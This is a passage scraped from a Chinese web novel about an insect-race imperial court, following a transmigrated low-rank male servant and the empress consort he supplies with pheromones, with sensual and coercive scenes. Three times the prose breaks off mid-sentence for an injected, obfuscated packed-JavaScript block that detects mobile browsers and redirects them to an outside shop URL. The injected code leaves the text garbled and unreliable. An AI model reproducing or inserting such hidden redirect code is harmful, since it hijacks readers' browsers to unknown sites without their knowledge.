塞塔斯斜躺在床踏上,唇角一勾,冷笑一声:“没有雄虫信息素安抚,我看他能撑到什么时候,今晚我就不去了,明天早上议会完毕我再过去,你继续查探。” 亚雌侍从规矩地退下:“是。” ~ 精神力暴走引发识海疼痛,好在身边有只雄虫,哪怕等级低,也成了雌虫的救命稻草。 活了二十五年,也是最近才体验到雄虫信息素给予身体的快乐和舒适,怪不得很多雌虫都愿意在身边养着小雄虫,就算不玩乐,提取信息素也是好的。 雄虫温热的唇还没离开他的腺体,周围清清凉凉的柠檬味,冲散了雌虫散发的馥郁香。 黑色的特殊材质抑制环被白发雄虫捏在白皙纤长的手中,黑发雌虫巨大的翅膀逐渐消失,他轻轻抚着芬恩的长发,语气也变得轻柔不少,低沉的嗓音在单纯雄虫的耳际徘徊。 “好孩子洛菲斯,只要你留在我身边,我保证你不会受到任何伤害。” 芬恩这才将唇从他的腺体上挪开,他终于闻到了自己的信息素是什么气味。 类似柠檬和薄荷混合的味道,确实提神清脑。 黑发雌虫的胸膛蹭着他的胸膛,他甚至能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521300|203321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感知到雌虫丝质薄睡衣下的发达胸肌。 他深吸一口气,明白这是一具男人的身体,可他抗拒不了,堂堂直男,被外形拟男人的雌虫撩得晕头转向。 身体贴着身体,信息素混合着信息素……关键这只雌虫他还有丈夫。 芬恩觉得自己要疯,使劲去推雌虫的身体:“您要是没事了,就早些歇息,虫皇虽然很少来看您,但毕竟这是在皇宫里,说来就来了,请允许小的去休息。” 每次给雌君标记完腺体,芬恩都觉得很累,感觉身体被掏空一样,他明天可能又要晚起。 黑发雌虫从他怀中起来,顺手从床头柜上拿了几瓶营养液过来:“喝完。” 芬恩一愣,抬眼看向他的眼底:“这很贵吧,我的营养剂这两天应该也发了。” 泽费里诺拧开瓶盖,送到他嘴边:“喝,赏给你的,平复我的精神识海需要大量信息素,得及时补给,不然你身体疲惫,明天再起不来,又被骂,我就算想护着你,你作为一个侍从,总是被偏爱,会出事的。” 芬恩听到这里也不扭捏了,从他手中拿过营养剂,一饮而尽,这是能量补给营养液,和管饱的又不一样。 喝完就感觉全身精力慢慢恢复,没有了刚才的疲惫。 泽费里诺整理了一下自己的衣服,从他手中拿过自己的抑制环又扣在修长漂亮的脖颈上。 漂亮的黑眸睨他一眼,笑得意味深长:“你二十岁了吧,尾勾藏那么紧干什么?刚才标记我的腺体时,我看到你的尾勾动了,是不是很想?” 芬恩赶紧跪好收好自己的尾勾:“小的不敢,只是作为雄虫本能才如此,小的不敢亵渎您。” 泽费里诺觉得小小雄虫真无趣,越是无趣越是喜欢逗他,将虫一把拉过去,抱紧在怀:“洛菲斯,不敢亵渎也亵渎两回了,如果你真想的话……我让你用尾勾好不好?低等雄虫生育力低下,你对我而言,特别安全,多少次我都不会怀孕。” 芬恩:“……”坏了,被他发觉华点了,这可如何是好? 尾勾还没平复的冲动,被黑发雌虫诱引的语气再次激发,芬恩觉得自己直男的定力要土崩瓦解。 泽费里诺真的是一只极具魅力的雌虫,不管是长相、身材还是声音,亦或那双手,都让芬恩无法招架。 小小雄虫,精神力被甜蜜大网掌控,有种陷入热恋的错觉,恨不能将拟人雌虫扑倒,用虫族最原始的尾勾,在他从未到达过的孕腔搅和个天翻地覆,播撒灌溉属于爱的种子。 让种子在黑发雌虫的肚子里发芽,生长…… 9. 第 9 章 看着那张赏心悦目的脸,芬恩其实在这一刻心里也明白了,哪有什么直男,只是没遇到让他眼前一亮的男人罢了,这剑眉星目的拟人雌虫,放在地球时代,妥妥的斩男又斩女。 近距离的接触,总是让他心乱如麻,颜值果然即正义,心在胸腔里怦怦乱跳,他在为一个不正确的雌虫而心动。 理智将他残存的理智拉回,他开始在黑发雌虫怀中挣扎:“您别这样。” 您再这样,今晚我会做关于您的春天梦。 泽费里诺真是惊讶于这雄虫短时间的变化,刚来宫里时这孩子成年没多久,不过两年光阴……不,是这几天的变化比较大,前一年这孩子不在他身边伺候,便没有明显的容貌变化。 可最近两天,他变得好快,脸还是那张脸,可皮肤更加细腻,五官也越发深邃立体,尤其那双湖泊似的眼眸,像璀璨的宝石。 在这之前,他不信有比虫皇还美貌的雄虫,可他发现眼前这孩子,即使是低等雄虫,翅膀和口器都没蜕化,却显得如此纯良漂亮。 泽费里诺的喉结动了动,抱着他不肯撒手:“真不敢想,你要是高等雄虫的话,该有多漂亮。” 这一点也让芬恩无奈,当然他也并不会因为自己的等级低就自卑,他倒是希望自己是长相普通的亚雌或者亚雄,那样的话就不会有虫注意到他:“您见过那么多雄虫,每一个都很漂亮吧。” 泽费里诺却摇了头:“虫皇是最漂亮的一个,他从小就像个小手办,只可惜……” 说到这里,他抱着芬恩的手臂有些松动,过了几秒,他放开了芬恩,让他去休息:“明天别睡过头了,休息吧。” 芬恩知道,想到虫皇,这位铁血雌君的心又痛了,不知道为什么,看着他为一个不值得的虫而伤神,芬恩心里也不舒服。 他下床穿好鞋子,默默地给清扫机器虫发送“清除地面垃圾”指令,机器虫开始运转,他将帝后的床幔拉好,看着侧躺着背对着他的人,一时间心绪难安。 但他始终清楚,不管他对这身份尊贵的雌君如何心动,有想法,横亘在他俩之间的鸿沟也无法填平。 看着清扫机器虫收拾好了房间,他发出休眠指令,才回了自己的房间,可他怎么都睡不着,辗转反侧半夜,睡着之后却又做了关于泽费里诺的梦。 他这个原主一直都是被家人当亚雌养大的,所有关于性别的知识,都是关于亚雌,从未被告知作为雄虫该怎样和雌虫进行遗传物质的交流。 可这一晚,他在梦里无比真实地完成了和雌虫的结合,泽费里诺这个不可方物的拟人虫,对他强取豪夺。 他害怕,却又期待…… 发育完整后,梦中期待的虫,成了那位高高在上的帝国雌君,他甚至想沦陷在这个梦里不想醒来。 没谈过恋爱的地球直男,穿成雄虫后,第一次体验到了恋爱的甜蜜和痛苦。 甜蜜是因为他心里有了一个拟人形的雌虫,痛苦是因为这个雌虫外形是男的,且还没离婚。 就算离婚也和他没可能。 他在这样的失落感中醒来,外面天色刚亮,拟恒星发热器还未升起,过一会儿应该就能看见了。 他把手搭在额头,盯着暗光里窄小房间的天花板。 他第一次因为梦见男人而迷茫,不知何去何从。 芬恩沉默地在床上躺了一会儿,起床洗漱,把弄脏的衣服泡去洗衣机器里,按时将洗漱用具端到帝后床前,以前觉得伺候帝后是一件可怕的事,现在却成了他不为虫知的甜蜜。 帝后寝宫内很多琐碎事都是给机器人发布指令,唯独起床洗漱、穿衣和用膳,都是亚雌侍从亲为。 帝后金枝玉叶,这样芬恩才有机会触碰他的身体。 还有三年时间,他可以尽职尽责扮演一个侍从的角色守在黑发雌虫身边,三年之后,他会和泽费里诺彻底失联,从此再无瓜葛,不会有任何虫知道,他喜欢过帝国的帝后。 芬恩不由地想,打脸来的真快,他在两天之前的想法还是离开皇宫,找个和他旗鼓相当的拟女人形的虫,过完这普通的一生,胸无大志。 可两天后,他的心就被高级雌虫俘获了,他好不经撩,心里很明白泽费里诺只把他当个信息素供给者,却还是忍不住会多想,会做关于黑发雌虫的梦。 怎么办呢,他好像陷进了一个无法抽身的漩涡,给自己无形中上了一层枷锁? 想了许久没想到解决方案。 那就让他在这三年里,无名无分地做一个沉默的陪伴者,让泽费里诺有充分的时间准备反击。 他希望泽费里诺胜利。 不,泽费里诺一定会胜利。 帝后总是早起,从不赖床,芬恩看着他正了正脖颈上的抑制环,扒拉绸缎似的长发,准备下床。 芬恩把他今天要穿的衣服已经放在床边,是白色西服套装,他觉得泽费里诺穿西服特别好看,显得身材特别好,尤其是长腿蜂腰。 他甚至想不明白,虫皇连这样的细糠都不吃,是不是有病。 换成任何一个雄虫,都得拜倒在泽费里诺的西服裤下。 至少,作为直男的芬恩已经拜倒。 帝后起床第一件事是去洗手间,随后就是锻炼,所以他没穿西服,而是穿了黑色的短袖和休闲裤、运动鞋,一身黑显得更像矗立松柏。 长发高高扎起,精神干练,露出精致深邃的五官,谁看了不惊艳。 他跟芬恩说了一声:“早膳想吃点麻烦的料理牛排,我去跑步,你跟厨房说一声。” 芬恩点头退下:“是。” 这两天好多亚雌都看不惯芬恩,大家都觉得他占了帝后的独宠,米安刚开始也没觉得有什么,直到帝后事事都找芬恩,米安觉得自己的地位很危险。 芬恩去厨房告诉大厨今天帝后想吃点牛排,厨师长看了一眼没理会,他又重复了一遍:“帝后过会儿想吃牛排,还请大师们细心点做。” 厨师长给旁边的小亚雌给了一个眼神,那小亚雌走向芬恩,将他打量一番:“我当是什么稀罕物,雌不雌,雄不雄的玩意儿,真把自己当回事了。” 芬恩不想惹事,只是又叮嘱了一遍:“他二十分钟内跑完步,做不好料理,别说我没提醒你们。” 伺候帝后的亚雌们自然知道帝后什么脾气,定然不敢耽误,只是想给芬恩一点教训,可芬恩鸟都不鸟他们。 回去时帝后还没回,米安站在寝殿门口,抱着胳膊打量芬恩,芬恩低着头没敢看他。 米安围着芬恩转了一圈,语气阴阳:“你才来皇宫几年,就敢僭越?你连我的位置都要抢吗?” 芬恩没听明白:“哥哥在说什么,我听不懂,殿内侍奉帝后的差事是您给我的,我并没有抢。” 米安是短发,如果忽略他脸上的虫态,长得也还算可以:“还敢顶嘴了,你到底给帝后吃了什么药,让高高在上的雌君只留你在殿内?” 芬恩自然不会告诉他,因为雄虫信息素:“他最近喜欢清净,不愿太多侍从打扰,便只留了我。” 不远处端着餐具往餐厅走的亚雌,瞪了芬恩一眼:“总管,这种亚雌就是欠收拾,他想当帝后身边的红虫。” 米安心里很生气,他让芬恩自己想办法:“以后,我亲自侍奉帝后,你回浣衣部洗衣服。” 芬恩倒是十分乐意:“听您的,只要您能说通帝后。” 泽费里诺二十分钟后锻炼回来,洗了个澡,换上芬恩准备的白色西服,长发披散,拦在耳后,身上还散发着香味。 他独自用餐,一群亚雌侍从站在餐桌两边,给他夹菜,厨房准备了二十多种口味的牛排,就是吃不准他想吃什么口味的。 米安见他今天情绪稳定,便想开口让帝后把内侍换了:“雌君,昨晚听到您的寝殿内发生异常响动,想来是洛菲斯伺候不周,为了不让他惹您生气,我把他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521301|203321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打发去浣衣部了,今后就由我亲自在您殿内侍奉。” 泽费里诺这才睨着一双墨沉的眼扫视一周,没看到他的小雄虫,他啪地一声放下刀叉,冷声质问:“他去哪里了?” 米安感觉情况不妙,小心翼翼回答:“他说清早无事,找点活干,去浣衣部洗衣服去了。” 泽费里诺起身,也不吃了,一言不发地往浣衣部走。 芬恩只想洗自己的衣服,没想到几个亚雌将所有的衣服都扔给他。 红发亚雌嚣张跋扈地欺辱他:“靠着一张与雄虫相似的脸和白发,在雌君面前谄媚,想做雌君身边的红虫,你想都别想,下等的亚雌。” 浣衣部有洗衣机器虫,只不过芬恩习惯自己和帝后的衣服都用他的手洗,手洗的干净卫生。 他坐在门口沉默地洗,想把昨晚肖想的证据毁去,不想说话,那亚雌见他不理自己,上去一脚踹翻了他的洗衣盆。 芬恩这才抬眼看他,湖泊蓝的眼眸带着无欲无求的清冷:“闹够了没有?” 亚雌被他看得心里一紧张,不知道为什么,莫名其妙心跳加速:“我说的话你到底听没听明白,那些衣服都得你手洗,半小时之内洗完,不然有你好看。” 芬恩想着没事干,洗了就洗了,刚想答应,就听到一个戏谑低沉的声音从浣衣部的大门口响起:“啧,原来你们私下这么有权利,连我的贴身侍从都得给你们洗衣服?架子挺大呀。” 那亚雌被吓得双腿一抖就跪了下去:“帝、帝后饶命。” 一双穿着纯白西裤的长腿出现在芬恩面前,脚上白色手工皮鞋质地彰显价值。 他的心开始不规律地乱跳,压根不敢看泽费里诺那张脸,看见一次心动一次。 他甩了甩手上的水珠,起身低着头行礼。 “这里环境脏乱,真不是您该来的地方。” 泽费里诺让他抬头。 “抬起头来看着我,洛菲斯,我看不见你的时候,他们都这么欺负你?来,说出来,都是谁欺负过你,我让你报复回去,当着我的面,扇死他们。” “……” 米安在身后和一群亚雌噤若寒蝉,都求救似的看着芬恩。 芬恩并不想和任何虫结仇,那样只会让他的处境更艰难,所以他摇头。 慢慢抬眼,先看到的是他解开两颗扣子的衬衫领口,露出白皙的皮肤,锁骨,修长脖颈上黑色的抑制环倒像奢侈装饰品,映衬着天鹅颈,尤其扎眼。 芬恩的心跳和呼吸又都漏了几拍,望向黑发雌虫眼底时,胸口绵密的疼痛顷刻间四散开来。 尽管眼前的雌虫如何护着他,始终不是他能肖想的。 如果泽费里诺跟虫皇离婚后,能跟他在一起该多好,哪怕发生过关系,他也认了。 无关地位,无关身份,只是因为心动和喜欢。 当直男再也直不起来的时候,那掰弯他的同性,将在他心底一辈子都抹不去。 泽费里诺到底给自己吃了什么药,让本来平静的那颗心每一秒都在为他而跳? 芬恩心想,这才过了多久,穿过来不到半个月吧,他怎么能弯成这个样子? 他一时间忘记了言语,只是盯着泽费里诺那双黑眸看,半天之后,泽费里诺唇角才勾起一抹玩味的笑。 泽费里诺让亚雌侍从都跪下转过去。 “没有我的命令,不准起来,也不准回头。” 亚雌侍从们纷纷吓得跪下,然后趴着转过去,面对着大门。 泽费里诺的眼神这才变得柔和,轻轻凑到小雄虫耳边,好听的嗓音只有芬恩能听见:“小色虫,口水要从嘴角掉下来了,怎么,大白天的就开始思春了?亚雌侍从在欺负你,你却在想我?” 芬恩的喉咙发紧,眼神黏在雌虫眼中,千丝万缕。 他不是今天才想,他昨晚和雌君分开后就开始想了,做了一晚上关于黑发雌虫的梦,还湿了尾勾。 10. 第 10 章 雄虫的反应在黑发雌虫的料想之中,毕竟在强大精神力和信息素的双重锁定下,没有任何雄虫能逃得过雌虫编织的甜蜜大网。 何况芬恩这只雄虫精神力近乎没有,那就更好控制,泽费里诺想把这只雄虫留在身边为自己所用,当他的信息素供给者,外加抚慰品。 对外宣称一直在打抑制剂,其实只有他自己知道,腺体的虚弱已经承受不住抑制剂的强度,也或许是因为提供给他的抑制剂出了问题,不敢再用。 能发现亚雌发育成雄虫,简直让他绝处逢生,在这雄虫稀少的皇宫,找一只专一性比较强的雄虫来摄取信息素不是一件容易的事情。 有家族权势的,他必然不放心,虽和虫皇的婚姻名存实亡,但他想打一场翻身仗,必然短时间不能和虫皇闹翻。 平民虫他又没有渠道去找,被发现就是死路一条。 而眼前这只雄虫,脾性温和,唯命是从,又没有强大精神力做支撑,简直是抚慰品的不二选择。 泽费里诺望着小小雄虫湿漉漉盯着他不放的眼神,唇角的笑更为勾虫:“好了,洗衣服这种事,交给他们就好了,你只需要站在我身边就好,跟我回去吧,我还没用完早膳就来找你。” 芬恩呆呆地应了一声:“好。” 泽费里诺站直劲松一样的身子,警告背对着他跪倒一地的亚雌:“以后,洛菲斯就是唯一的内侍,谁也不准使唤他做事,要是被我发现哪个胆大包天的东西敢使唤他,欺辱他,你们最好有九个脑袋可以掉。” 高级雌虫的威慑力是绝对的,一地的亚雌吓得翅膀都在发抖,生怕被雌虫的精神力直接冲出去。 在皇宫里,任何虫不得随意使用精神力,可帝后不同,皇宫的规则就是他。 只有芬恩被黑发雌虫迷得七荤八素,他真的好希望泽费里诺能喜欢他。 可是他又知道,平民虫和贵族虫之间存在的差距,在这个等级制度分明的星际虫族,要跨越这道鸿沟是天方夜谭。 芬恩还是把他的衣服拿走了,他有点轻微的洁癖,见过这些亚雌把衣服丢在地上踩来踩去,他才亲手洗自己和帝后的衣服。 泽费里诺回去继续用餐,凉透的牛排被撤了下去,重新上了二十多种口味的,芬恩在他身边伺候,用刀叉将牛排切成小块,夹到帝后的盘子里。 泽费里诺很喜欢他的顺从,不管什么时候,这个小侍从眼里都有活,特别讨喜。 正吃着,突然有亚雌的声音从殿外传来:“虫皇到——” 芬恩赶紧往后又退了退,泽费里诺也放下餐具,起身去迎接虫皇,仿佛之前的一切他都不知道。 在看到那高大的身影从殿门进来,泽费里诺甚至还能笑出来:“陛下怎么有空来我这里?” 虫皇塞塔斯看了看四周,眼神这才放在泽费里诺身上:“听闻昨晚你精神力暴走,我担心你的情况,过来看看。” 泽费里诺邀请他用膳:“没什么大事,陛下送我的抑制剂很好用,打了一针就没什么问题了。” 进了餐厅,泽费里诺示意米安伺候虫皇用膳,路过芬恩时,给了芬恩一个眼神,芬恩读懂了,悄然从米安身边走过,出了餐厅。 塞塔斯还是发现了他:“竟然有亚雌的头发是银白的。” 泽费里诺不动声色地解释:“我喜欢银发,最近也告诫过亚雌总管米安,再找几个银发亚雌侍奉,看着心情好。” 塞塔斯低着眼进餐:“你开心就行,我实在公务繁忙,没什么时间陪你,镇远大元帅卡尔金收复边境清除星兽有功,今晚在宫里宴会厅摆宴接风洗尘,所有在职的议员和大臣都会来,你作为帝后雌君,不可缺席。” 泽费里诺神色漫不经心地扫过虫皇那张绝美的脸:“谢陛下提醒,我一定按时到席。说来我和陛下结婚两年,陛下留宿我宫中的次数微乎其微,如果有可能,我希望今晚和陛下同床共枕。” 塞塔斯思忖片刻,也不知什么心情,淡淡地回了一句:“知道了。” 嘴上说着知道了,但泽费里诺知道,他不会来。 今晚的宫宴可能不会太平,他有一种不好的预感。 塞塔斯本来是想看看泽费里诺痛苦的样子,谁知竟和没事人一样,他早就在一年前在这雌虫的抑制剂里掺了精神力消除剂,可这么长时间以来,竟然无事发生? 这雌虫的精神力到底有多恐怖的强大,精神力暴走也能控制住? 虫皇塞塔斯心里实在忐忑不安,他得想办法尽快让这雌虫消失才好。 虫族千万虫民将一只雌虫奉为瑰宝,把他这个嫡出的帝皇当成摆设,他绝不允许这种事发生。 虫皇和雌君一起用过早膳就走了,芬恩看着那高大的身影带着几个亚雄侍卫离开了雌君的寝宫。 芬恩把衣服洗干净,在收拾帝后的寝殿,顺便把昨晚被帝后精神力粉碎的机器虫灯的芯片找出来,给收垃圾的机器虫发布“扔垃圾”指令。 泽费里诺用完餐回来了,餐厅就在寝宫的西面,原以为帝后见到虫皇会开心,可他一进门眼神格外阴婺。 一张平时赏心悦目的脸,冷如刀锋,他看起来心情不好,坐在了打扫干净的白色沙发上,芬恩知道这个时候关心他没什么好,但还是忍不住。 走到他面前站定,芬恩关切地问:“您哪里不舒服吗?” 泽费里诺抬眼看着芬恩,只见雄虫湖泊蓝似的眼眸,近期又瑰丽了几分,银白的睫毛鸦羽似的时不时眨一下,充满了关怀。 得亏他的精神力在抑制雄虫的气息和发育,不然这雄虫迟早被发现。 泽费里诺看了他几秒,收回视线闭上了眼睛,只有一句:“今晚的宫宴米安陪我去,你在寝殿待着,不要乱跑。” 芬恩听到有宫宴,便知道有要事,雌君的命令他只有服从:“好,祝您玩的开心。” 心情还是有点低落,他知道泽费里诺不带他去是因为他不配,那种重要场合,不适合他。 不过他很快就想通了,活着比什么都好,他想活着离开这皇宫,去看外面的世界。 泽费里诺就当是他心中的美好秘密。 也或许哪一天,他遇到心仪的另一半,就把泽费里诺忘了。 高攀不起,唯有遗忘。 芬恩啊芬恩,清醒点吧。 然而泽费里诺想的不是不配,而是那种场合会有很多精神力强大的高级雌雄虫,他怕小侍从是雄虫的事情被看穿,那样不仅侍从只有死路一条,他的腺体再测出雄虫信息素,那就是对虫皇不忠。 加西亚家族满门都得被诛杀。 哪怕塞塔斯背叛在前,他也百口莫辩。 何况虫皇阴狠毒辣,连他这个青梅竹马的发小都能算计,更别说是一只小小的低等雄虫。 小雄虫还是待在寝宫比较好。 下午发光器西斜的时候,芬恩准备好了帝后赴宴的礼服,是一身特别制定的虫族白色军装,这身服装是他地位的象征,普通军雌不能穿白色,只有虫皇的雌君。 芬恩没见过泽费里诺穿军装的样子,今天也是见到了,拟人雌虫的身姿挺拔,长腿蜂腰宽肩,白色军靴更显腿长。 配上一张绝美的脸,芬恩咽了好几次口水。 虫皇吃的这么好还出轨,当真是家里的细糠吃多了,外面的屎都是香的。 如果他能拥有这样的一个伴侣,他绝对忠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521302|203321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诚生生世世,碰过泽费里诺之后,在芬恩心里,其他雌虫也只是雌虫。 他在心里嘲笑自己,也是弯到姥姥家了,对一个男人形态的虫子这么有感觉,太没出息。 同色的抑制环被藏在白色的衬衫之中,衬衫的领子扣得一丝不苟,遮住了他的抑制环。 雌君的抑制环也都是和衣服配套的,深色衣服配黑色抑制环,浅色则配白色。 米安在殿外等着,不知道为什么,他始终觉得这个洛菲斯给他的感觉不对劲,但哪里不对劲,说不上来。 泽费里诺穿戴整齐,黑色长发披散,戴好军帽,仪态端庄,准备出门了,走了几步忽而又回头看向芬恩:“我没回来之前,哪里都不准去,就在这里等我,饿了的话,我床头的抽屉里有营养剂。” 芬恩的心不听使唤乱跳:“好,等您回来。” 这种感觉很奇怪,他像在深闺大院中,等丈夫回来的妻子。 可他才是雄虫,芬恩心想,如果泽费里诺愿意跟他结婚,他倒是不介意当那个“妻子”。 帝后寝宫的大门紧闭,亚雌侍从们都各自干自己的事情或者消遣,他待在帝后寝殿里,也不知道干什么。 天很快就黑了,泽费里诺不知道什么时候回来,芬恩不想多事,心想还是睡觉去吧,这一天天的都睡不醒。 早八都没这么累。 躺下没多久,就在思念泽费里诺的惶恐中睡去,也不知道什么时间了,他听到寝殿的大门被推开,米安担忧的声音传来:“帝后,您没事吧,我去叫皇家御医。” 泽费里诺制止了他:“别去,带几个亚雌侍从去寝宫外守着,没我的命令不准靠近寝殿。” 米安只得从令:“好,您要是有什么不适,就让洛菲斯叫我。” 泽费里诺进门将殿门关上,殿内黑漆漆一片,芬恩立马醒来穿好鞋子,从侧门进来,给新的机器虫发布“开灯照明”指令。 室内一被照亮,就看到泽费里诺有些痛苦地坐在了沙发上,身上的皮肤在泛红,军装穿的整齐,可手臂上的青筋要暴起。 芬恩被他这个样子吓到了:“您喝醉了?” 泽费里诺呼吸纷乱:“不是,洛菲斯,扶我去床上。” 芬恩把他扶起来,把他的胳膊搭在自己肩上扶到床上坐下,刚想起身远离,泽费里诺一把抓住他的胳膊,使劲一拽,芬恩被摔在了床榻上。 他有些惊恐地睁大一双湖泊蓝的眼,不敢大声:“您干什么?” 泽费里诺青筋突起的大手一把扯了自己的衬衣,军装外套都没脱,一个翻身骑在芬恩腿上。 白色的抑制环从他手中掉落,他俯身趴在芬恩怀里:“给我。” 芬恩被吓得忘记了言语,抱着他不断地眨眼,试探地问:“给你什么?” 泽费里诺的唇落在他的脖颈,顺着脖颈移动到下颌线,继而擦到了芬恩的唇角:“信息素,虫皇在我的果酿里加了东西,他真想让我死啊。” 芬恩的心一抽:“那您为什么还不离婚……” 泽费里诺摇头:“离不了,如果离婚就能解决,他何苦这么设计我,洛菲斯,给我。” 芬恩的心跳很紧张,他是愿意给的,手摸到他后颈腺体的位置,心中柔肠百转:“给你。” 他刚想侧头咬腺体,先迎上的却是泽费里诺的唇,雌虫柔软的唇瓣碾在了他的唇上,芬恩躲在牙齿内未完全蜕化的口器动了动,脑袋一时间空白。 还没反应过来,黑发雌虫的拟人手已经伸向了他的尾椎骨,低沉的声音压抑又情动:“好孩子,我要你的尾勾,把它献给我,我会给你物质补偿。数不尽的虫币或者一生的荣华富贵……” 11. 第 11 章 芬恩知道,作为虫族帝国的帝后,泽费里诺肯定能做到他口中所说,这就像一个天降的馅饼砸在他的头上。 可是这馅饼里面的馅料,却是用刀子做的,他根本咽不下去,稍微不注意,他的命都得丢在这里。 泽费里诺只是需要他的信息素来巩固自己的精神力,是个不折不扣的上位者,眼里只有利益没有感情,可他不一样。 他希望自己和未来的另一半是因为爱情而结合,而不是为了所谓的乱七八糟的利益和勾心斗角。 他承认泽费里诺抛出的条件很诱虫,可现在的芬恩眼里,情要比这些东西都重要,他更希望泽费里诺因为喜欢他才索求,而不是为了活命。 当然了,任何生物在面对危险时,肯定都先选择利于自己的方式,他也理解泽费里诺的做法,也可以提供信息素,但绝不会真的发生关系。 或许这位雌君可以当做什么都没发生,继续当他的虫上虫,可芬恩自己呢,无名无分,最后落一个惨遭抛弃的下场? 就算他对泽费里诺有好感,喜爱之情,他的理智还尚在,于是在黑发雌虫触碰到他身后的衣物后,他果断地将那只手一把抓住了。 芬恩只觉得心下有些悲哀,嗓音却是一如既往的温润,一听就是个没有心眼的好雄虫:“您和虫皇尚且有婚姻存在,即使他出轨在前,您也还没有跟他离婚,我身份低微,若是用尾勾亵渎了您,我会成为全帝国公敌,您让我离开您之后怎么活?” 原主的记忆里,从小的时候,所有父母都把泽费里诺当成孩子的标杆,讲述他的英勇事迹,激发孩子们对学习和精神力的探索钻研,洛菲斯这只被测定为亚雌的虫也不例外。 就是因为过于崇拜这只雌虫,原主才进了温特瑞亚皇宫当侍从,被欺辱也在一直坚持,哪怕远远地看泽费里诺一眼,都觉得很满足。 他会在固定时间和家人用终端联系时,激动地跟家人分享在皇宫的所见所闻,以及泽费里诺每天的日常。 芬恩又不是不知道这意味着什么,就因为他和虫皇结婚,大家才觉得适配,可芬恩这只雄虫呢,不但等级低,连精神力都没有。 他有自知之明,这个星际世界的制度如此,芬恩觉得自己挑衅不起。 唯有苟且偷生,活着走出这吃人的皇宫,才是他最终的目的。 现在抱着他索求他尾勾的雌虫,是整个虫族的偶像,可又有多少虫能比得上泽费里诺,就像地球人常说的一句话,天才只是见这位雌君的门槛。 雌虫绸缎般的长发落在他脸上,气息裹挟着馥郁信息素的温热,在他唇边冷声质问:“谁准许你离开我?我没让你离开我,我既然索取了你的信息素,那你这辈子不得为我而活?” 芬恩让他冷静点:“三年后我要出宫,我向往自由,我不希望被困在这里,所以请雌君慈悲,别做让您和我都后悔的事,我身份卑贱,配不上您……” 泽费里诺微微抬身,黑眸微眯,眼尾氤氲着难见的红潮,打量着雄虫的神色:“你太天真了,洛菲斯,如果你是亚雌,三年后你可以出宫,可你不是,你不但不是亚雌,你还给我提供了信息素,难道你的高中生理课没告诉你信息素的专一性?” 黑发雌虫的手指从芬恩的下唇轻轻划过:“低等雄虫又如何,哪怕没有精神力,你的信息素也被我锁定,你这辈子就算出了皇宫,也给任何雌虫都提供不了信息素。” 芬恩:“……” 他看到雄虫眼中的不解和质疑,发红的唇瓣轻启开阖:“吓到了?你占便宜了不是吗?多少雄虫想和我春风一度都没有机会,我却上赶着跟你乱来,你不该激动地抱住我,用你的尾勾狠狠地欺负我?” 芬恩感觉自己的激动难以控制,但理智总是将他拉回:“我只会对未来的妻子如此,您不是我的妻子,我不可能跟您胡来,您放过我吧,信息素可以给你,但身体不行。” 纵观整个帝国,除了塞塔斯,没有雄虫能够拒绝他的邀请,因为塞塔斯高高在上,整个帝国都在其掌控之中,所以目中无虫,不把他当回事。 可除了塞塔斯,谁还敢拒绝帝国的雌君帝后,恐怕也就眼前的雄虫了,泽费里诺突然佩服起他来:“看起来温温顺顺,唯命是从,骨子里却是个贞烈的?” 芬恩使劲推开他坐起来,泽费里诺的白色军装有些乱,芬恩还有心情给他整理一下,将衬衣的扣子扣起来,遮住他泛红的胸膛:“父母从小就教导我,在没确定能结婚前,不可以对异性有不轨的行为,那被人所不齿,您虽然有男人的外貌,但您是雌性,我作为雄性,不可以在您失去理智时,我也失去理智。” 泽费里诺还压着他的双腿:“洛菲斯,你好像过于理智了,你知道我迟早都要和虫皇离婚,到时候你要什么有什么,我都能给你。” 芬恩抬起鸦羽似的银白睫毛,湖泊蓝瑰丽的眼眸望进黑发雌虫的眼底,手上动作停顿:“真的什么都能给我吗?” 黑发雌虫的神色有种诡异的阴婺和冷静:“只要不过分,我当然能满足你,只要你能帮我熬过这最艰难的时期。” 芬恩深呼吸,像下定决心似的吐脱口而出:“那到时候,您能跟我结婚吗?” 一句话,给泽费里诺问沉默了。 芬恩看着他的墨色眼睛,没有移开视线,他在等一个他期待的答案,可泽费里诺的沉默让他煎熬。 他自嘲地笑了笑:“这个要求很过分吗?我不要您的地位,不要您的权势,我就想跟您结婚,当然了,如果您在这场反击中有了万一,我也会陪您一起死。” 泽费里诺一双美眸微微眯了眯,他修长的右手手指拖住雄虫的脸颊,语气并没有温柔多少:“傻孩子,你可以求权势,求荣华富贵,就是别求爱情 